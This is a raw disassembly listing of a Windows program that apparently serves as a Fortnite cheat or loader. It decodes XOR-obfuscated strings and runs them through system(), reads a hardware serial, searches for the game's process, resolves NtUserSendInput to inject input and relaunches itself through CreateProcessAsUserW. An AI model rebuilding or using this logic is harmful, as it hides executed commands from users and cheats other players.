mov qword [rsp + 0xd0], r14
mov byte [rsp + 0x14c], 0
mov byte [rsp + 0x141], 0
lea rcx, [rsp + 0xd0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x150], rbx
mov rax, qword [0x1400d5d28]
mov qword [rsp + 0x144], rax
mov qword [rsp + 0x138], rbx
mov r8d, 1
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0xd0]
call fcn.140050960
test rax, rax
jne 0x14004ce7f
mov rax, qword [rsp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xc0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xc0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
test al, al
je 0x14004cff4
mov rax, qword [rsp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xc0]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0xc0]
call fcn.140052420
lea rcx, [rsp + 0xd0]
call fcn.1400508a0
test rax, rax
jne 0x14004cf13
mov rax, qword [rsp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xc0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov eax, dword [str.TTJ:]
mov dword [rsp + 0x1d0], eax
cmp byte [0x1400b4e6b], 0
je 0x14004cfe1
cmp esi, 2
jl 0x14004cfa4
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x1d0], xmm1
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14004d427
lea r9, [rsp + 0x1d0]
mov r8d, ebx
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14004cfb0
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14004d427
lea rdx, [0x1400b4d20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051350
lea rdx, [rsp + 0x200]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140051830
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rsp + 0x2c0]
call sub.VCRUNTIME140.dll_memset
movsd xmm0, qword [str._QZ_UOX]
movsd qword [rsp + 0x1d8], xmm0
mov eax, dword [str.S_B]
mov dword [rsp + 0x1e0], eax
cmp byte [0x1400b4dab], 0
je 0x14004d182
mov r8d, ebx
cmp esi, 2
jl 0x14004d143
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str._QZ_UOX]
xorps xmm1, xmm0
movd dword [rsp + 0x1d8], xmm1
movdqa xmm2, xmmword [0x1400b5360]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x1dc]
xorps xmm2, xmm1
movd dword [rsp + 0x1dc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x1d8]
add r9, rax
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14004d151
lea rax, [rdi + 0xb4fa4]
mov qword [rsp + 0x2c0], rax
lea rcx, [rsp + 0x368]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x1d0], socket
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x2c8]
lea rcx, [rsp + 0x2c0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x2c0], rdi
mov rax, qword [rsp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2bc], edx
lea rcx, [rsp + 0x2c8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rsp + 0x2c8], r14
mov byte [rsp + 0x344], 0
mov byte [rsp + 0x339], 0
lea rcx, [rsp + 0x2c8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x348], rbx
mov rax, qword [0x1400d5d28]
mov qword [rsp + 0x33c], rax
mov qword [rsp + 0x330], rbx
mov r8d, 2
lea rdx, [rsp + 0x1d8]
lea rcx, [rsp + 0x2c8]
call fcn.140050960
test rax, rax
jne 0x14004d295
mov rax, qword [rsp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x2c0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rdx, [rsp + 0x200]
cmp qword [rsp + 0x218], 0xf
cmova rdx, qword [rsp + 0x200]
mov r8, qword [rsp + 0x210]
lea rcx, [rsp + 0x2c0]
call fcn.140052260
lea rcx, [rsp + 0x2c8]
call fcn.1400508a0
test rax, rax
jne 0x14004d2fb
mov rax, qword [rsp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x2c0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov eax, dword [str.TTJ:]
mov dword [rsp + 0x1d0], eax
cmp byte [0x1400b4e6b], 0
je 0x14004d3c1
cmp esi, 2
jl 0x14004d37b
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x1d0], xmm1
jmp 0x14004d3c1
lea r9, [rsp + 0x1d0]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14004d390
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rax, qword [rsp + 0x2c0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x2c0], rdi
mov rax, qword [rsp + 0x2c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x2bc], edx
lea rcx, [rsp + 0x2c8]
call fcn.14004fb00
lea rcx, [rsp + 0x2d0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x368]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0x1d8]
call fcn.140044960
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14004d44a
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140052260
mov r10, rax
movups xmm0, xmmword [0x1400b5050]
movups xmmword [rsp + 0x98], xmm0
movsd xmm0, qword [0x1400b5060]
movsd qword [rsp + 0xa8], xmm0
mov ecx, dword [0x1400b5068]
mov dword [rsp + 0xb0], ecx
movzx ecx, byte [0x1400b506c]
mov byte [rsp + 0xb4], cl
mov r8d, ebx
cmp esi, 2
jl 0x14004d5ab
movdqa xmmword [rsp + 0x500], xmm10
lea rcx, [rsp + 0x9c]
mov edx, dword [rsp + 0x500]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14004d4c0
cmp r8d, 0x1d
jge 0x14004d5f1
movsxd rax, r8d
lea r9, [rsp + 0x98]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14004d5c0
lea rdx, [rsp + 0x98]
mov rcx, r10
call fcn.140051350
nop
mov rdx, qword [rsp + 0x1f0]
cmp rdx, 0xf
jbe 0x14004d648
inc rdx
mov rcx, qword [rsp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d643
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004d643
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a020c
mov dword [rsp + 0x1d0], ebx
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x1d0]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400b46c8]
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
lea r10, [rsp + 0x515]
mov r8d, dword [rsp + 0x1d0]
nop dword [rax]
dec r10
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r10], r8b
mov r8d, edx
test edx, edx
jne 0x14004d690
lea r9, [rsp + 0x90]
lea r8, [rsp + 0x515]
mov rdx, r10
lea rcx, [rsp + 0x98]
call fcn.140052130
nop
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x200]
call fcn.140070fe8
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14004d737
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d732
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004d732
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a020c
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0x98]
call fcn.140044960
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14004d75a
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140052260
mov r10, rax
movups xmm0, xmmword [0x1400b4df8]
movups xmmword [rsp + 0x1d8], xmm0
psrldq xmm0, 0xf
movd ecx, xmm0
test cl, cl
je 0x14004d8d1
cmp esi, 2
jl 0x14004d895
mov edx, ebx
movdqa xmmword [rsp + 0x500], xmm10
lea rcx, [rsp + 0x1dc]
mov r8d, dword [rsp + 0x500]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x14004d7b0
jmp 0x14004d8d1
lea r9, [rsp + 0x1d8]
mov r8d, ebx
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14004d8a0
lea rdx, [rsp + 0x1d8]
mov rcx, r10
call fcn.140051350
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14004d928
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004d923
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004d923
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a020c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0x98]
call fcn.140044960
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14004d957
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140052260
mov r10, rax
movups xmm0, xmmword [0x1400b4db0]
movups xmmword [rsp + 0x1d8], xmm0
movsd xmm0, qword [0x1400b4dc0]
movsd qword [rsp + 0x1e8], xmm0
cmp byte [0x1400b4dc7], 0
je 0x14004dae1
cmp esi, 2
jl 0x14004daa5
mov edx, ebx
movdqa xmmword [rsp + 0x500], xmm10
lea rcx, [rsp + 0x1dc]
mov r8d, dword [rsp + 0x500]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x18
jl 0x14004d9c0
jmp 0x14004dae1
lea r9, [rsp + 0x1d8]
mov r8d, ebx
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x18
jl 0x14004dab0
lea rdx, [rsp + 0x1d8]
mov rcx, r10
call fcn.140051350
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14004db38
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004db33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004db33
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a020c
cmp qword [0x1400d5bb8], 0
jne 0x14004dc36
nop word [rax + rax]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov dword [rsp + 0x2c0], 0x238
lea rdx, [rsp + 0x2c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14004dbc2
nop dword [rax + rax]
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rsp + 0x2ec]
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov rcx, rdi
test eax, eax
je 0x14004dcb6
lea rdx, [rsp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14004db90
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov dword [0x1400d5b58], eax
mov qword [rsp + 0x500], rbx
mov dword [rsp + 0x508], eax
lea rdx, [rsp + 0x500]
lea rcx, [0x14004b550]
call qword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x14004dc13
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
jne 0x14004dc13
mov rax, qword [rsp + 0x500]
test rax, rax
jne 0x14004dc16
mov rax, rbx
mov qword [0x1400d5bb8], rax
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x1400d5bb8], 0
je 0x14004db50
mov eax, dword [str.TTJ:]
mov dword [rsp + 0x1d0], eax
cmp byte [0x1400b4e6b], 0
je 0x14004dd11
cmp esi, 2
jl 0x14004dcc8
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x1d0], xmm1
jmp 0x14004dd11
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x2c8]
jmp 0x14004dbcd
lea r9, [rsp + 0x1d0]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14004dce0
lea rcx, [rsp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14004eb2c
lea rcx, [0x1400b44f8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14004eb2c
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [0x1400d5b68], rax
test rax, rax
je 0x14004eb2c
lea rcx, [0x1400b44f8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [0x1400d5bb0], rax
test rax, rax
je 0x14004eb2c
lea rdx, str.NtUserSendInput
mov rcx, qword [0x1400d5b68]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
jne 0x14004df3c
lea rdx, str.NtUserSendInput
mov rcx, qword [0x1400d5bb0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
test rax, rax
jne 0x14004df3c
mov r10, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rsp + 0x98]
call fcn.14004ed20
mov r9, rax
cmp byte [rax + 0x26], cl
je 0x14004df1d
cmp esi, 2
jl 0x14004deea
movdqa xmmword [rsp + 0x500], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x500]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add ebx, 8
mov eax, ebx
lea rcx, [rcx + 8]
cmp ebx, 0x20
jl 0x14004de02
cmp eax, 0x27
jge 0x14004df1d
movsxd r8, ebx
add r8, r9
mov eax, 0x94f2095
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, bl
xor byte [r8], dl
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x27
jl 0x14004def0
mov rdx, r9
mov rcx, r10
call fcn.140051350
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm0, xmmword [rcx]
movups xmmword [0x1400d5c20], xmm0
movsd xmm1, qword [rcx + 0x10]
movsd qword [0x1400d5c30], xmm1
mov eax, dword [rcx + 0x18]
mov dword [0x1400d5c38], eax
movzx eax, word [rcx + 0x1c]
mov word [0x1400d5c3c], ax
mov r14d, ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x1d8]
mov edx, 8
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x14004e0ad
lea rax, [rsp + 0x1fc]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x1d0]
mov edx, 0x1a
mov rcx, qword [rsp + 0x1d8]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14004dfcf
mov r14d, 1
mov edi, dword [rsp + 0x1fc]
jmp 0x14004dfd7
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, qword [rsp + 0x1d8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
je 0x14004e0b5
cmp dword [rsp + 0x1d0], 0
jne 0x14004e0bd
lea rcx, [rsp + 0x500]
call fcn.140044440
test eax, eax
jne 0x14004e9ac
lea rcx, [rsp + 0x250]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rsp + 0x98]
mov qword [rsp + 0x50], rcx
lea rcx, [rsp + 0x250]
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x500]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x14004e095
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
